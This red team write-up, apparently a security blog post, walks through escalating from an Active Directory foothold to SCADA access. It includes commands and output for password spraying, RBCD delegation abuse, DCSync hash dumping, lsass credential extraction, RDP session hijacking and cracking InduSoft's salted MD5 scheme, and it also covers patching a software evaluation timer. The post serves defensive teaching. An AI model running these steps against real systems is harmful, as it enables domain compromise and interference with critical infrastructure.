Home Red Team - Compromising Critical Infrastructure by Reversing SCADA Software
Post
Cancel

Red Team - Compromising Critical Infrastructure by Reversing SCADA Software

Introduction

Critical sectors such as energy, water, health, banking, MSP’s and others are under high scrutiny in terms of security. The NIS2 Directive is pushing European organizations leadership to take a more proactive approach towards cybersecurity to avoid potential incidents.

The goal of this article is to illustrate the process of a red team engagement and how cyber attackers might operate employing diverse techniques and procedures when targeting critical infrastructure, but also to highlight the importance of having a good security posture when maintaining complex IT environments composed of corporate and industrial networks.

We have created labs to replicate target environment as much as possible and perform intrusive testing isolated from real systems avoiding severe consequences or causing unexpected behavior in production. All findings described in this article were responsibly disclosed to affected organizations, and remediation measures have been implemented to address vulnerabilities discovered during this engagement.

Part 0x01 - Escalating Privileges in Corporate Active Directory

Initial Access - Assumed Breach Scenario

This time we were tasked to begin a red team engagement within organization premises. Customer provided access to a regular virtual machine placed in servers network (VLAN) together with other production machines so we could mimic what an attacker would see and could do in case of a compromise (e.g., RCE exploit, webshell, etc).

It was the most realistic option, compared to starting from an isolated guest WiFi or, in contrast, from a privileged IT management network. The server was in a fair place to start as it had reasonable communication activity and could reach other corporate assets, but not all.

For reference, other red team members were performing an external penetration test of internet-facing assets, and a high severity issue was identified that could lead to a compromise of an internal server. In practice it was feasible to chain the external attack vector + internal vector and achieve a full attack path from internet to reach critical infrastructure, as we will see throughout this article.

Password Spraying AD Users

Once we gained a foothold in the provided VM as a starting point and established a connection with our command and control (C2), we proxied connections and began scanning neighbors in the network looking for alive services.

In general, most frequent assets identified during scans are physical servers, domain controllers, network devices (firewalls, switches), databases, storage (NAS), application servers and so on. Since we started without passwords or any kind of credential, we aimed at Active Directory server first.

One way we easily identified a Domain Controller was by looking for services:

  • SMB (445), LDAP (389), AD-DNS (53) and Kerberos (88)

When we found a host with those services enabled, we could say with confidence it was one of the Domain Controllers.

After that, we performed a quick password spray using kerbrute tool against DC Kerberos service and found credentials of a user where password equaled the username, from a list of AD users that was fetched from a legacy member server using a null SMB session. This user was simply a regular domain user without special privileges and likely forgotten. Let’s call it lab.local\appuser1.

1
2
3
nmap -PS -sT s-sV -p 445,389,88 --open 192.168.99.0/24
nxc smb -u '' -p '' 192.168.99.0/24 --users
kerbrute_linux_amd64 bruteforce --dc dc.lab.local -d lab.local -v userpass.txt

image

Having a valid domain password, we were able to enumerate Active Directory domain more deeply using tools like BloodHound and ADRecon via LDAP protocol.

Note that we were proxying these actions via provided VM using proxychains-ng SOCKS5, leveraging the benefits of “Living-off-the-Land” and avoiding installing things inside “compromised” machine that might risk being caught by host defenses like EDR.

BloodHound tool has multiple compatible ingestors written in C#, Rust or Python that fetch AD structured data and compile it into a graph representing the domain users, security groups, organizational units (OU), group policies (GPOs) and so on. During enumeration we used BloodHound.py ingestor remotely. ADRecon can also be executed remotely from a non-domain joined machine using PowerShell with RSAT toolkit installed.

1
2
bloodhound-python -c All --zip -d lab.local  -u appuser1 -p appuser1 --dns-tcp -ns 192.168.99.20 -dc dc.lab.local
ADRecon.ps1 -Method LDAP -DomainController dc.lab.local -Credential lab.local\appuser1 -GenExcel C:\ADRecon-Report\

Abuse of MachineAccountQuota

One thing we observed when reading enumeration outputs produced by tools above, was the parameter ms-DS-Machine-Account-Quota defaulted at 10. It means any domain user can join up to 10 computers to domain. In other terms, an attacker is able to create computer accounts in domain (usually named as COMPUTER$) with a pre-defined password.

Abusing default configuration, we created a new computer object in organization domain named ATTACKER$ with our password, using impacket-addcomputer.py.

1
2
3
4
$ addcomputer.py -computer-name 'ATTACKER$' -computer-pass 'Password.123' -dc-host dc.lab.local 'lab.local/appuser1:appuser1'

    Impacket v0.13.0.dev0+20250422.104055.27bebb13 - Copyright Fortra, LLC and its affiliated companies
    [*] Successfully added machine account ATTACKER$ with password Password.123.

Exploiting “WriteAccountRestrictions” DACL with RBCD

By analyzing BloodHound output carefully, we noticed there was a path to escalate from Domain Computers to one Read-Only Domain Controller (RODC) because Domain Computers security group was a member of Allowed RODC Password Replication group and had a permission called WriteAccountRestrictions.

This configuration didn’t seem standard. Instead, it might have happened due to a misconfiguration from a system administrator while creating and promoting a new server to (RO)DC, but root cause of this configuration was unclear.

image

We performed the typical Kerberos Resource-Based Constrained Delegation (RBCD) attack. This involved setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to the SID of our ATTACKER$ computer account. This configuration allowed us to impersonate the Administrator user on the RODC using ATTACKER$ credentials via S4U2Proxy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ rbcd.py -delegate-to 'RODC$' -delegate-from 'ATTACKER$' -k -action write -dc-ip 192.168.99.20 'lab.local/ATTACKER$:Password.123'
    [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
    [*] Delegation rights modified successfully!
    [*] ATTACKER$ can now impersonate users on RODC$ via S4U2Proxy
    [*] Accounts allowed to act on behalf of other identity:
    [*] ATTACKER$ (S-1-5-21-1988370448-1183679873-2997581360-1604)

$ getST.py -spn cifs/rodc.lab.local -impersonate 'Administrator' 'lab.local/ATTACKER$:Password.123'
    [*] Getting TGT for user
    [*] Impersonating Administrator
    [*] Requesting S4U2self
    [*] Requesting S4U2Proxy
    [*] Saving ticket in Administrator@cifs_rodc.lab.local@LAB.LOCAL.ccache

$ secretsdump.py -dc-ip 192.168.99.20 -k -no-pass 'lab.local/Administrator@rodc.lab.local'
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:71e236826b080ec3c22d7d4c31edc54e:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ab931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9fd3a549dffd8c0715d90b9814febb28:::

Now you may be surprised (as we were at the time) why DCSync worked on a Read-Only DC. In fact, RODC despite the name was not actually Read-Only. Instead, it was a regular DC and belonged to the Domain Controllers group. By default, a regular RODC do not cache user credentials.

We decided to move straight into DC using Pass-the-Hash via Windows Management Instrumentation (WMI), placed another reverse SOCKS5 connection there and chained it. Now we could reach a lot of AD-joined computers, including servers, desktops and even some personnel notebooks from multiple departments.

The Active Directory exploitation part is not the focus in this article, so we’ll reference SpecterOps documentation [1] that explains how this WriteAccountRestrictions DACL can be abused, and also a blog post from Dirk-jan [2] covering in-depth these permissions.

1
nxc wmi dc.lab.local -d lab.local -u Administrator -H 71e236826b080ec3c22d7d4c31edc54e -x 'cmd'

Part 0x02 - Pivoting to Restricted Network and Reversing SCADA Security

Discovery of Valuable Assets

At this point we already had company AD domain compromised: gained domain administrator privileges, could forge Golden Tickets and gain remote access to almost any AD-joined server and workstation. But was that enough to demonstrate impact in our final report? Probably for cybersecurity teams, SOC, IT administrators and other technical people it would suffice.

Considering how quickly we compromised the domain (in part thanks to quality tools we used and awesome research existing out there), we still had plenty of time to continue our engagement as far as we could. In coordination with our customer, we decided to continue our assessment and see what would be possible to do from a domain admin standpoint.

Spending more time analyzing domain structure, types of users, groups, organizational units and computers, we compiled a shortlist of interesting targets to attack. One that caught our attention was a computer named similar to HISTORIAN.lab.local.

After researching this subject we found that it is common in organizations working with industrial and operational technology to have an application used for data collection & repository.

The purpose of historian servers is to collect, archive, and provide access to time-series data from industrial processes, essentially creating a comprehensive historical record of all operational parameters, such as power generation outputs and grid stability parameters in energy facilities, pressure readings and flow rates in oil and gas pipelines, or even chemical dosages and filter statuses in water treatment facilities.

Credential Dumping from Historian

Login was possible into historian because we owned a privileged account, a network connection and a service running Remote Desktop Protocol RDP. Enumerating the system led us to find reporting software and some collected data. Some personnel actively used this server for their job duties.

We did a process dump of lsass.exe system process responsible for handling authentication and security in Windows. For the purpose of this article, lets consider dumping the process with procdump64.exe tool and then parsing the dump (offline) with mimikatz to look for user credentials or other secrets. Following this method led us to discover a new credential: SCADA\supplier01.

There are several ways to dump processes. For example, it’s possible to create a full memory dump with memory acquisition tools (FTK Imager, Magnet RAM) that are used by blue teams to extract the system memory contents and then use tools to parse and analyze data from RAM dump like volatility3. Other options include accessing virtual machines storage and grab a snapshot including the VM memory (e.g. VMware .vmem files) [3].

Note, Credential Guard [4] and other LSA Protections [5] were not configured in this system so it was easier to hack into Local Security Authority process.

Some techniques to attack Process Protection Light (PPL) have been released, such as PPLdump, PPLKiller, Dellicious and probably other modern methods, or similar tools that abuse vulnerable legitimate drivers also known as Bring Your Own Vulnerable Driver (BYOVD) but that’s out of scope.

1
2
3
4
5
6
7
8
9
10
11
12
procdump64.exe -accepteula -ma -64 lsass.exe c:\lsass.dmp
mimikatz.exe
sekurlsa::minidump c:\lsass.dmp
sekurlsa::logonPasswords
    Authentication Id : 0 ; 1927007 (00000000:001d675f)
    Session : RemoteInteractive from 2
    SID : S-1-5-21-1988370448-1183679873-2997581360-500
        ssp :
        [00000000]
        * Username : supplier01
        * Domain : SCADA
        * Password : Password.123

Jumping into SCADA Server

Another important aspect to note about HISTORIAN server was the number of network interfaces available. This particular server was dual-homed: besides the connection to corporate network, it also had another IP address assigned and communicated with hosts in a different network with distinct IP range.

Network configuration was fetched using commands like ipconfig, netstat and Microsoft Sysinternals tcpview64.exe utilities to identify established connections with a server running SCADA software.

Picture adapted from NIST SP 800-82: Guide to Operational Technology (OT) Security [6].

Let’s assume the SCADA server has IP address 10.1.1.10. The user supplier01 had Remote Desktop privileges to SCADA server and was local administrator.

After enumerating that system we found:

  • SCADA project in runtime InduSoft Web Studio
  • RDP session from an inactive user remote.operator (Disconnected)

The same user had a Secure Viewer process running. It was a desktop client component of InduSoft Web Studio which provides secure remote access to SCADA/HMI applications [7]. Another Thin Client was available through Internet Explorer and required ActiveX Controls and VBScript. Edge browser could be used in “compatibility mode” to run the legacy web app despite its security warnings.

Our goal at this moment was to peek into the SCADA interface. However, we couldn’t run another process because the user remote.operator had already started it. The configured server ports were already assigned. For obvious reasons, we couldn’t stop or restart those processes in a production environment.

Next idea was to somehow takeover the existing and inactive RDP session. Since we got privileges over the machine, we could use a know technique to hijack RDP sessions via tscon.exe [8].

All we need is SYSTEM command line, either with psexec.exe -s or creating a service with sc.exe that executes the following command:

1
2
C:\Windows\system32>query user
C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon TARGSESSID /dest:rdp-tcp#MYSESSIONID"

Once the service started, our desktop would connect to victim RDP session.

The naïve way is to open taskmgr.exe, right-click disconnected user session and click Connect but system requires target user password in order to successfully switch RDP console.

We avoided at all costs interfering with that system in production so tscon RDP hijack method was not tested this time. To access SCADA viewer running inside another user context, we needed remote.operator user password and started looking for it.

Our attempt using DonPAPI tool for dumping DPAPI secrets remotely revealed password for remote.operator saved inside a Scheduled Task configured to automatically start SCADA server at system startup.

1
2
3
4
5
6
7
8
9
$ donpapi collect -t 10.1.1.10 -d '.' -u supplier01 -p Password.123
    [💀] [+] DonPAPI Version 2.1.0
    [💀] [+] Output directory at /home/user/.donpapi
    [💀] [+] Loaded 1 targets
    [10.1.1.10] [+] Starting gathering credz
    [10.1.1.10] [$] [DPAPI] Got 7 masterkeys
    (...)
    [10.1.1.10] [+] Dumping User and Machine Credential Manager
    [10.1.1.10] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{4BCE964B-970C-4C1E-BE22-56AF28B59777} - SCADA\remote.operator:Password.123

After we escalated domain privileges, moved into historian server, pivoted to a restricted network, captured an operator account password and hijacked the RDP session to access the desktop. However, we were presented with nothing but a lousy ACCESS DENIED message.

Reversing InduSoft Web Studio

InduSoft Web Studio (IWS) began as a proprietary SCADA/HMI development platform before being acquired by Wonderware in 2013 and subsequently becoming part of AVEVA portfolio after Schneider Electric’s acquisition. The solution has evolved significantly, becoming one of the more widely deployed SCADA development environments in industrial applications.

The platform follows a typical architecture for modern SCADA solutions, with separate development and runtime environments. The development environment allows engineers to design custom HMI interfaces, configure tags, create scripts, and establish connections to industrial controllers (PLCs). Once developed, projects can be compiled and deployed to runtime environments that execute the actual monitoring and control functions.

Given the critical nature of critical facility we were assessing, we established a separate laboratory environment to analyze InduSoft software without risking disruption to the production system. Our lab setup included:

  • Identical versions of InduSoft Web Studio to match the target environment
  • A virtual machine configured to mirror the production SCADA server’s operating system
  • Sample project files with similar structures to those we observed in the production environment
  • Network isolation to prevent any accidental connection to operational systems

An installer was found at ICP DAS website for the InduSoft Web Studio v8.0 & v8.1. We installed the same version in our virtual machine that allowed us to safely reverse engineer components of the software, analyze the authentication mechanisms and the rest of “Security System”.

Freezing the Time

After installing InduSoft Web Studio it ran in Evaluation Mode. It allows users to trial the software during 40 hours.

We did not have a license and obviously could not afford one specifically for testing its security. After all, the goal of this engagement was to uncover security holes in the critical sector organization’s systems. The hypothesis we had to consider:

  • Reverse InduSoft license and activation - Hard, required cryptography, hashing and bitwise operations to understand keygen.
  • Uninstall/reinstall and hope counter will reset - Did not work.
  • Take VM snapshot and restore it when evaluation timer is expiring - Unfeasible, we had tools inside same VM such as debugger, IDA project, etc.
  • Stop the timer by patching couple bytes - it worked!, patched jmp instructions to avoid branching into specific blocks and stopped counter via GetTickCount() calls.

The most important modules of InduSoft Web Studio were:

  • Studio Manager.exe - Main program that actually runs eveything (entrypoint).
    • Studio.dll - Main library for Web Studio GUI.
    • UniSoft.dll - Contains business logic components, config and project loading, APIs, multi-threading stuff.
    • score.dll - It might “Studio Core” or “Security Core”. Handles security system, user authentication, groups, user rights, and so on.
  • RunUniReg.exe - A wrapper for Studio Manager to load UniReg.dll.
    • UniReg.dll - Responsible for licensing, activation, key generation based on network interface MAC addr and CLSID.

This was the decompiled code view after patching clock at UniSoft.dll module to ensure we have enough time to perform our security testing. We observe that clock displayed on graphical interface is asynchronous to evaluation mode clock and updates every 10 to 15 seconds. After patching, it will freeze and likely never reach 00:00.

Licensing by activating a site key won’t be covered here for obvious reasons but we found online some hints about how the key generation might work. I will leave here a document found on Scribd and reference to users posts talking about Site Codes & Activation Keys at PLCForum:

Security System

InduSoft Web Studio implements a multi-layered security architecture that controls access to both development and runtime environments.

The system manages users and groups with configurable access levels, supporting local authentication, distributed security across projects, or Active Directory domain integration [9].

All security settings are stored in encrypted database files with passwords hashed and salted to protect credentials. This framework provides granular control over who can access specific application features, screens, and controls throughout the SCADA system. Database encryption is proprietary but it is possible to recover the keys and restore the contents.

Remember that it was a production server in runtime. We couldn’t stop or restart services and the InduSoft project security denied modifications of database during runtime so making it difficult to modify or add new SCADA users.

Dumping Hashes from Process Memory

During our red team engagement we were able to dump database sections from the system process without having to reverse engineer proprietary DB protection. We used Process Hacker 2 to scan memory for strings (usernames) and we found a config section with unencrypted database contents with several security groups, usernames and their hashes.

After beautifying JSON parsed from memdump:

We had to understand what was the type of hash and if it was a custom implementation or had additional protections such as salting. Note the case sensitivity of password field.

When debugging InduSoft with IDA Pro we placed some breakpoints at login functions, in particular score.dll!SELogOn. It led us to user and password comparison functions where a MD5 hash is generated with a static salt %@tE7( prepended to lowercase password. Before hashing, the whole string is encoded into UTF-16-LE:

  • tl;dr the password storage and authentication scheme is MD5(UTF16LE(salt+lowercase(password)))

Time to setup hashcat on our cracking machine with dedicated graphics card to break those MD5 hashes and recover plaintext passwords of SCADA users. We generated a custom wordlist with salt %@tE7( prepended to each line, then used hashcat mode 70 as documented in Hashcat Wiki [10].

1
2
3
4
5
hashcat -m 70 -a 0 hashes.txt ~/tools/wordlists/password-wordlist.txt

    27ebfd4fa443ddda15ff6dd64f96be91:%@tE7(engineer       
    2b2f63dc665122bc867f7c94354a4af9:%@tE7(password.123
    9a288abb102206569d886fa96fc2c195:%@tE7(                   

Authenticating in SCADA

After several hours of reverse engineering the software in our offline lab and cracking password hashes, we finally authenticated in SCADA as a privileged user with development & runtime access.

Conclusion

This red team engagement demonstrated the concerning reality that critical infrastructure remains vulnerable to determined attackers through a multi-stage attack chain. Starting from a simple foothold in a corporate network, we were able to progressively escalate privileges, pivot across network boundaries, and ultimately gain control over industrial control systems responsible for essential services.

Key lessons emerged from this assessment:

  • Network segmentation alone is insufficient when dual-homed systems like historian servers create bridges between corporate and OT networks
  • Even when specialized industrial systems provide a lot of security features, their users/customers fail to configure them properly (see AVEVA Cybersecurity Deployment Guide)
  • Default configurations in Active Directory can be exploited as initial footholds
  • The complexity of modern SCADA systems creates a substantial attack surface that extends beyond just network security
  • Legacy systems and development shortcuts in industrial software create opportunities for attackers to bypass access controls
  • Accessibility and rapid login needs never justify weak passwords or absent MFA on critical systems - the security risks far outweigh operational convenience
  • Excessive privileges common throughout the environments might indicate lack of enforcement of principle of least privilege
  • Logging, monitoring, and detection capabilities are crucial across both IT and OT networks - without visibility, attackers can move freely between environments, extract credentials, and access critical systems undetected for extended periods of time

Organizations managing critical infrastructure must adopt a defense-in-depth approach that encompasses both IT and OT security, implements proper credential management, and regularly tests security controls.

Furthermore, the findings emphasize the importance of monitoring systems that cross network boundaries and applying mandatory (!) security updates to industrial control software - AVEVA Edge has superseded InduSoft Web Studio and there are multiple advisories by CISA.gov.

Toolset

ToolDescription
Network Discovery & Enumeration 
nmapNetwork scanner for service discovery
netexec (nxc)Swiss-army knife for network protocol attacks
proxychains-ngProxy tool for pivoting connections
tcpviewSysinternals tool for viewing TCP connections
Active Directory Tools 
kerbruteTool for bruteforcing and enumerating AD users via Kerberos
BloodHoundAD relationship visualization and attack path finder
BloodHound.pyPython-based ingestor for BloodHound
ADReconAD information gathering tool
impacketCollection of Python scripts for network protocols
Credential Access 
procdumpSysinternals tool for dumping process memory
mimikatzTool for extracting plaintext passwords from memory
DonPAPITool for extracting DPAPI secrets remotely
hashcatAdvanced password recovery utility
Memory Forensics 
FTK ImagerCommercial forensic imaging tool
Magnet RAMCommercial RAM capture tool
volatility3Memory forensics framework
Reverse Engineering 
Process Hacker 2Advanced process monitoring and memory inspection
IDA ProProfessional disassembler and debugger
Lateral Movement 
PsExecSysinternals tool for remote command execution
Service Control 
sc.exeNative Windows service control utility (Built into Windows)
Industrial Control Software 
InduSoft Web StudioSCADA/HMI development and runtime environment
Secure ViewerThin client for InduSoft Web Studio (Part of InduSoft Web Studio)

References

This post is licensed under CC BY 4.0 by the author.